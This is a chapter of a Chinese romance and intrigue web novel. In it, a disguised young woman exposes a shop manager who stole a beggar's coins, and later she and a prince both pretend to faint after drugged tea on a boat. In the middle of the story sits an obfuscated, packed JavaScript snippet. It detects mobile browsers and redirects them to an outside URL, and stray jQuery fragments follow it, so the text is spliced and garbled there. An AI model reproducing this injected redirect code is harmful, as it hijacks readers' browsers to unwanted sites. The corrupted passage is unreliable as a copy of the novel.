60.060

作品:《将军他竟是大小姐

    看对方的反应,还有那区别于铺中其他人统一的装束,褚岁晚猜测应有些地位,不是对账之人。


    下一秒,果不其然。


    在她话落之后,瘦高男人彻底维持不住脸上的表情,赔笑道:“郎君这是何意?我做芳华阁掌柜十几年,铺中从未出过差错,你此番言论,让我以后……”


    他颤抖着双手,捻起衣袖,抹了抹眼角,表情极为痛苦,嗓音带着苍凉。


    “如何在铺中自处啊。”


    尾音混杂的叹息传散在风中,如柳絮飘过,没什么重量,却在人的肌肤留下阵阵不可忽视的瘙痒。


    众人面面相觑,虽说这家店的人平常有点狗眼看人低,只认钱,但其手艺也真是没话说。


    对于能买得起他们家饰品的富家人,招待得那叫一个眉开眼笑,基本买了一次,就能有第二次,甚至变成常来。


    而客人走的时候,百姓们都能瞧见掌柜点头哈腰相送的身影。


    今一个乞丐和一个为东家尽心尽瘁的掌柜。


    一看就知道怎么选。


    奚云祉的视线慢悠扫过这些刚刚,还义愤填膺的人群,倒戈仅发生在刹那之间。


    他眉眼稍弯,无声无息的笑了一声。


    还真的是有趣呐。


    骤转急下的态度,褚岁晚也感受到了,黑眸没有丝毫躲避的对上了,瘦高掌柜暗含挑衅的目光。


    少年冲对方勾了勾嘴角,俊靥露出一个无辜的温笑。


    她也是会点嘴皮功夫的。


    褚岁晚把剑握于手中,如温文有礼的书生,弯腰作揖道:“在下言行有失,还望掌柜见谅。”


    听了她的话,瘦高男人面露疑惑地上下打量着少年。


    这倒是让他有些始料不及。


    刚才不还咄咄逼人。


    很快,他瞳孔的困惑转变为慌张,嘴角僵硬的抽动上扬。


    只见少年不改温和笑意,道:“怀疑的种子一但植下,恐扰了掌柜之后的清净,不如现趁着父老乡亲都在,掌柜明验正身,大伙做个见证,替掌柜消除之后的隐患。”


    “掌柜惨遭污蔑,为求清白不拘潇洒自证,芳华阁掌柜有此等光亮之行,日后生意……”


    说到这,她嗓音略微停顿,眼含深意的看了一眼,正在思索的华服男人,随即接着道:“定能更上一层楼。”


    “不知东家,意下如何?”褚岁晚朝男人问道。


    华服男人,就是踢乞丐之人,即是芳华阁的东家。他是一个商人,利为首要,何况这显然是双赢。


    于是乎,芳华阁东家思索没多久,便朝瘦高男人说:“木彦,我觉得这位兄台说得在理,你验一下也好,免得传出去,说我们芳华阁欺负一个乞丐。”


    木?


    奚云祉和褚岁晚同时眼色微变。


    这是去掉姓,还是没去。


    掌柜挣扎道:“东家,我……”


    东家对他的话听而不闻,转身和蔼的问褚岁晚:“兄台,对这如何验,可有方法借鉴?”


    这一行人衣着皆不是普通之物,想必身份不简单,从商者最惧得罪富贵人家,今日不顺着他们,难免会留下隐患。


    说不定日后他们想起,印象好,还给他介绍几个客人。


    褚岁晚扬了扬眉,把东家眼里变化的神色敛入眸中,答应的这么快,看来对他铺里的人,还是很有信心的。


    就是不知道,对方能不能接住。


    “这简单,只要找个信得过的公正之人,帮掌柜查看一下身上,有无——欸呀,”少年看向乞丐,笑着道:“小兄弟,你还没回答我方才问题呢。”


    话落,已看不清五官的脏乱面孔直勾勾的,朝褚岁晚看了过来。


    含着悲悯底色的瞳孔,无声凝望。


    有着旁人难以察觉到复杂。


    他张开打得肿胀歪斜的嘴唇,道:“我亲眼看到他揣在了身上,我的铜钱是搬海鱼货来的,上面一嗅就可以闻到鱼腥味。”


    这话落入瘦高东家耳中,整个人都灰败几分,而人群中淳朴的百姓已自发的出来几个人,热情的来到他面前,开始帮他“验”明正身。


    只要是在这总目睽睽下搜的,谁来都可以,于是东家也没有阻止这些百姓。


    而掌柜更加不能拒绝,任由几双摸索的手在他身上游走,一点一点接近,能让他名声扫地的东西。


    片刻后,一个漆黑的布包从掌柜身上搜了出来。


    东家眼角下压,面色一变。


    脚步大跨上前,直接抢过百姓手中的黑布,放在鼻尖下一闻,传来的缕缕鱼腥味仿佛化作了一只无形的手。


    在啪啪的打他的脸。


    不信邪的再打开黑布包。


    然里面的铜钱数量,心里默数了一遍又一遍,都是刚好正对上那枚发簪的价格。


    帮忙搜身的几名百姓互看了一眼,机灵的没有出声,默默的退回人群。


    褚岁晚嘴角上扬起促狭的弧度,轻声压着腔调疑惑地问:“东家从那布包上,可有闻出鱼腥味?”


    一旁的乞丐像是接收了什么信号似的,指着男人手里的布包,大声的道:“那个就是我的钱,你们这些富贵人家,总不能还用那么丑,又破破烂烂的布来包钱吧。”


    随着他的话落,涟漪泛开加大。


    “连乞丐的钱都骗,他还真是不要脸。”


    “就是喽,也不怕拿得脏手,谁知道那钱的来源。”


    “你这话就不对了吧,虽然人家是乞丐,但这是人家堂堂正正去搬货赚来的,你没看到那芳华阁的东家都去闻了吗?看他的脸色,肯定就是上面有鱼腥味。”说完后,他睨了一眼那人,像是避晦气一样,退开几步。


    “你!”头上插着巾花的妇人剁了剁脚,眉上的那颗黑痣,随着主人面部气愤的神色而抖动着,本来就大的黑点这下子显得更加注目。


    褚岁晚朝这看了一眼,乌眸闪过一抹若有所思的神色。


    妇人很快便扭着腰,拨开人群离去。


    周围的百姓,包括刚刚和她争执的麻衫男子,他们脸上或多或少都松了一口气。


    离褚岁晚近的百姓,见这位唇红齿白的小郎君,略带困惑的看着妇人离去的方向,贴心的对她解释了一句。


    “小公子,那是我们这有名的长舌妇,我们大家伙平常都怕她凑过来。”


    “她说话一向不好听,小公子别见怪。”


    妇人说那小乞丐钱脏的音量不低,在对面的都能听出个大概。


    歉意来得突然,吐露的人也不是该道歉之人。褚岁晚知道其中的深意,对向她解释的百姓略微颔首,柔声道:“这里民风淳朴,我们都很喜欢。”


    闻言的百姓道了几声“好”字。


    家世不俗,还如此有礼,罕见啊。


    而他们说话这一会功夫,芳华阁的东家把瘦高掌柜呵斥了一番,最后为了挽回名声,东家压着掌柜朝乞丐弯腰道歉。


    “乞丐兄弟,是我管教不当,这钱物归原主,还有这发簪,我当作赔礼一道给你。”男人把布包和发簪一并递了过去。


    乞丐刚要接过,手却被一只纤细骨秀的手拦下。


    褚岁晚温声对面色僵硬的东家问:“是不是还差了,这小兄弟脸上的伤,是贵铺所为吧。”


    “是是是。”男人朝后面招了招手,下人立马递上来一个钱袋子。


    他接过后,再次递了过来。


    这次,褚岁晚没拦着,乞丐沉默的接过本来回不来的钱、又根本不可能得到的赔偿。


    见他接过,东家眼里松了一口气,要是对方趁此要挟,他还真不能不给。


    想此,他拔高音量道:“今日是我芳华阁管教不当,使至差点酿成大错,但念及何掌柜这些年没有功劳,也有苦劳,我便以扣他三个月工钱为罚,警示下面人引以为戒。”


    “此外,为表达芳华阁诚挚的歉意,我决定折价三天。这三天内,凡在芳华阁买东西,都额外赠送小礼品一份,还望诸位海涵一次。”


    这围在周边的,可不止是买不起首饰的普通百姓,还有一些富家人,他得把名声吸引回来。


    何况,乞丐都能攒钱来买他家东西,这些百姓也可以,而且说不定觉得这一次划算,也来买上一买。


    钱攒攒就多起来了。


    这番操作让褚岁晚一行人大开眼界,刚刚还讽刺东家的南音,都忍不住咂舌。


    这生意做的,不仅见风使舵,还能屈能屈,还搞上减价这一套。


    京城的商铺,恐怕都没他这么滑头。


    只是……


    褚岁晚看着接过钱后,就认真说要留在他们身边报恩的乞丐,她重复问:“你真的要跟着我们?”


    乞丐没有一丝迟疑的点点头。


    见此,褚岁晚侧眸看向其他人,无声问询。


    奚云祉很大方的道:“人是阿弟救下的,他想跟着报恩,我没什么意见。”


    南音:“嗯嗯,我和大哥一样的想法。”说完她还用手肘戳了戳沈顾。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617410|139286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈顾愣了一会,面无表情的朝褚岁晚点点头。


    南初和乌鸢更加没有意见,他们不过是顺路而已。


    褚岁晚收回视线,看着还执着等答案的乞丐,笑了笑,道:“那就欢迎你加入,我们的游山玩水队列。”


    乞丐握着钱袋的手紧了几分,他没说话,只朝向少年点了一下头。


    过了一会,几人在集市买好路上的干粮,便登上渡船。


    褚岁晚在房间内板凳都还没坐热,房门就被青枫敲响,说是他主子请她去房中叙话。


    来到后,门大开着,似乎已等候她多时。


    姿态矜贵的青年闻到声响,倒茶的手一顿,缓缓掀起薄薄眼皮,形态极美的桃花眸似丹师一笔勾画的绝作,俊美皙白的面带着闲适的笑意,空气中似有一条条无限的情丝。


    如情人那般,耳鬓厮磨,缓慢又悠长的拉出缠绵悱恻。


    时间在这一刻,宛若静止。


    褚岁晚眼中只融得下这一双眼眸。


    门外橙金太阳斜照洒落于他身,绘着金线的雪白衣袍柔软似云雪。


    神姿高彻,琼林玉树。


    褚岁晚怔怔的看着,心头倏忽冒出这一句。


    周围帆声盈盈入耳,她只觉得心跳声犹如鼓点击敲,密集又急促,停歇似永不会出现。


    “殿下找我,所谓何事?”


    怔愣片刻后,褚岁晚按耐住仍有余热的心跳,强装着镇定,来到青年对面坐下。


    奚云祉嘴角稍扬,未抬眸。


    只问:“那个木人给了你什么?”


    褚岁晚讶异的看了他一眼,低头在怀中寻了会,就把手掌在他面前摊开。


    “好像是一个象征身份的东西。”


    青年睨了一眼,是一个水滴状的青玉,中间用流金刻画着一个玦字。


    确实看着像,且很大几率是某个大家族。


    他应是要看得仔细些,却不知怎么的,视线竟落在了放置玉的手。


    白皙如玉琢,骨相漂亮得让他心中生出一种莫名的渴望。


    想摸上一摸。


    还想。


    揉一揉。


    捏一捏。


    唔,最想的是。


    想亲一亲那白里透粉的指尖。


    或者带着这双手抚摸他的脸。


    褚岁晚眉心微蹙,看的时间是不是有点久了。


    定晴一看,却发现其主人眼神火热的盯着她的——


    指尖。


    霎时间,少年身体都僵硬了,眼睫扑闪如蒲扇。


    古怪的、旖旎的气氛在周围漫延发酵。


    在更奇怪的酥痒加大之前,褚岁晚猛地的收回手,有些慌乱的转移了话题。


    “我觉得,那个乞丐眉眼有点熟悉。”


    见漂亮的粉指消失不见,青年眼底划过可惜,把某些隐晦的欲念压缩藏匿。


    冷白的腕骨发力,漫不经心的摇动着茶盏,脸上又恢复那副无害的模样。


    “熟悉从何而来?”


    褚岁晚思索了一下,说道:“那夜,二皇子的府邸,我去救人时,曾和一个人交过手。”


    “哦?”奚云祉茗了一口茶,茶水顺着喉腔滑落,一些猜测得到验证的同时,他抬起的眼闪过一丝暗芒。


    “那败家之犬,居然还有力气。”他意味深长的道。


    褚岁晚避开他的视线,看着放在青年手边的另一只没饮过的茶杯,其实她有点口渴。


    把茶杯都放在自己那边,这是什么毛病。


    褚岁晚暗叹一口气,忍住干渴,说起自己的猜测,“邬神医说过,如若要控蛊,必须要离得近,会不会……”


    剩下的话她没说,但青年已经听出她的意思。


    奚云祉轻笑了一声,没回答她的话,只慢条斯理的道了一句。


    “看来我们这一路,异彩纷呈啊。”他便把另一杯茶水抵到唇边,声音轻的如雾飘散,“就连这水,也是加料的。”


    下一秒,在褚岁晚震惊的视线下,他把茶一饮而尽,随即又把空杯放到褚岁晚的手边。


    “你——”


    褚岁晚怔懵的刚吐一个字,眼前的青年便咚的一声,晕倒在桌上。


    不是,他就这样水灵灵的晕了?


    乌黑的瞳孔睁圆,她看了眼手边的茶杯,又看了眼对面晕倒的青年。


    在门外脚步声响起的同时。


    木桌又发出一道碰撞声。


    褚岁晚也选择了。


    “晕”过去。